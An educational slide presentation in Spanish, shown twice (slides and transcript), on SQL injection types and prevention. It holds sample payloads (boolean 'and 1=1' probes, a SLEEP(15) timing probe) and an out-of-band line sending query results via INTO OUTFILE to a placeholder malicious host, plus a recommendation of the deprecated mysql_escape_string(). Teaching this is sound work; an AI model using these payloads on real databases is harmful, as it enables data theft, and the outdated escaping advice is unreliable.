TIPOS DE INYECCIÓNSQL
Ataque basado en errores
Inyección SQL en banda
01
Por ejemplo, un mensaje de error puede contener el nombre de la tabla incluido en la consulta y los nombres de las columnas de la tabla. Estos datos pueden ser utilizados para crear nuevos ataques.
La inyección SQL en banda es la forma más simple de inyección SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el código SQL malicioso en la aplicación, así como para recoger los resultados.
Ataque basado en la Unión
En este método, un atacante que utiliza la unión SQL se une para mostrar los resultados de una tabla diferente. Por ejemplo, si un atacante está en una página de búsqueda, puede añadir los resultados de otra tabla.
Ataque Booleano
Un atacante evalúa qué partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cláusula booleana a través de la entrada:
«… and 1=1»
«… and 1=2»
Si la aplicación funciona normalmente en el primer caso pero muestra una anomalía en el segundo, indica que la aplicación es vulnerable a un ataque de inyección SQL.
Inyección SQL Inferencial (Blind SQL Injection)
02
Ataque basado en el tiempo
El atacante envía varias consultas a la base de datos para evaluar cómo la aplicación analiza estas respuestas. Una inyección SQL inferencial es a veces también conocida como inyección SQL ciega.
Un atacante utiliza una función predefinida basada en el tiempo del sistema de administración de la base de datos que es utilizada por la aplicación. Por ejemplo, en MySQL, la función sleep() le indica a la base de datos que espere un cierto número de segundos.
select * from comments
WHERE post_id=1-SLEEP(15);
Si tal consulta resulta en un retraso, el atacante sabrá que es vulnerable.
Inyección SQL fuera de banda
Las técnicas de inyección SQL fuera de banda pueden utilizarse como alternativa a las técnicas de inyección SQL inferencial. Un ataque de inyección SQL fuera de banda utiliza una capacidad de proceso de archivos externos de su SGBD. En MySQL, las funciones LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a MySQL que transmita los datos a una fuente externa. A continuación se muestra cómo un atacante puede utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa: select * from post_table into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
03
Ataque basado en el tiempo
3 RECOMENDACIONES PARA EVITAR VULNERABILIDADES DE INYECCIÓN SQL
04
Usar declaraciones preparadas
Entradas Escape del usuario
comprobaciones de higiene para evitar ataques SQL
Una sentencia preparada es una plantilla de una consulta SQL, en la que se especifican los parámetros en una etapa posterior para ejecutarla. Aquí hay un ejemplo de una declaración preparada en PHP y MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a sólo lo necesario.
Este proceso le ahorra un ataque de inyección SQL. Puede escapar una cadena antes de construir la consulta en PHP usando la función mysql_escape_string(). También puedes escapar una cadena en MySQL usando la función mysqli_real_escape_string().
FUENTE DE INFORMACIÓN https://kinsta.com/es/blog/inyeccion-sql/ https://infinityspa.cl/inyeccion-sql/ https://www.gb-advisors.com/es/6-formas-de-prevenir-ataques-de-inyeccion-sql-con-acunetix/
TIPO DE INYECCIÓN SQL
reneroswal
Created on May 23, 2022
Informática
Start designing with a free template
Discover more than 1500 professional designs like these:
View
Practical Timeline
View
Timeline video mobile
View
Timeline Lines Mobile
View
Major Religions Timeline
View
Timeline Flipcard
View
Timeline video
View
History Timeline
Explore all templates
Transcript
TIPOS DE INYECCIÓNSQL
Ataque basado en errores
Inyección SQL en banda
01
Por ejemplo, un mensaje de error puede contener el nombre de la tabla incluido en la consulta y los nombres de las columnas de la tabla. Estos datos pueden ser utilizados para crear nuevos ataques.
La inyección SQL en banda es la forma más simple de inyección SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el código SQL malicioso en la aplicación, así como para recoger los resultados.
Ataque basado en la Unión
En este método, un atacante que utiliza la unión SQL se une para mostrar los resultados de una tabla diferente. Por ejemplo, si un atacante está en una página de búsqueda, puede añadir los resultados de otra tabla.
Ataque Booleano
Un atacante evalúa qué partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cláusula booleana a través de la entrada: «… and 1=1» «… and 1=2» Si la aplicación funciona normalmente en el primer caso pero muestra una anomalía en el segundo, indica que la aplicación es vulnerable a un ataque de inyección SQL.
Inyección SQL Inferencial (Blind SQL Injection)
02
Ataque basado en el tiempo
El atacante envía varias consultas a la base de datos para evaluar cómo la aplicación analiza estas respuestas. Una inyección SQL inferencial es a veces también conocida como inyección SQL ciega.
Un atacante utiliza una función predefinida basada en el tiempo del sistema de administración de la base de datos que es utilizada por la aplicación. Por ejemplo, en MySQL, la función sleep() le indica a la base de datos que espere un cierto número de segundos. select * from comments WHERE post_id=1-SLEEP(15); Si tal consulta resulta en un retraso, el atacante sabrá que es vulnerable.
Inyección SQL fuera de banda
Las técnicas de inyección SQL fuera de banda pueden utilizarse como alternativa a las técnicas de inyección SQL inferencial. Un ataque de inyección SQL fuera de banda utiliza una capacidad de proceso de archivos externos de su SGBD. En MySQL, las funciones LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a MySQL que transmita los datos a una fuente externa. A continuación se muestra cómo un atacante puede utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa: select * from post_table into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
03
Ataque basado en el tiempo
3 RECOMENDACIONES PARA EVITAR VULNERABILIDADES DE INYECCIÓN SQL
04
Usar declaraciones preparadas
Entradas Escape del usuario
comprobaciones de higiene para evitar ataques SQL
Una sentencia preparada es una plantilla de una consulta SQL, en la que se especifican los parámetros en una etapa posterior para ejecutarla. Aquí hay un ejemplo de una declaración preparada en PHP y MySQLi. $query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?"); $query->execute(array($username, $password));
El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a sólo lo necesario.
Este proceso le ahorra un ataque de inyección SQL. Puede escapar una cadena antes de construir la consulta en PHP usando la función mysql_escape_string(). También puedes escapar una cadena en MySQL usando la función mysqli_real_escape_string().
FUENTE DE INFORMACIÓN https://kinsta.com/es/blog/inyeccion-sql/ https://infinityspa.cl/inyeccion-sql/ https://www.gb-advisors.com/es/6-formas-de-prevenir-ataques-de-inyeccion-sql-con-acunetix/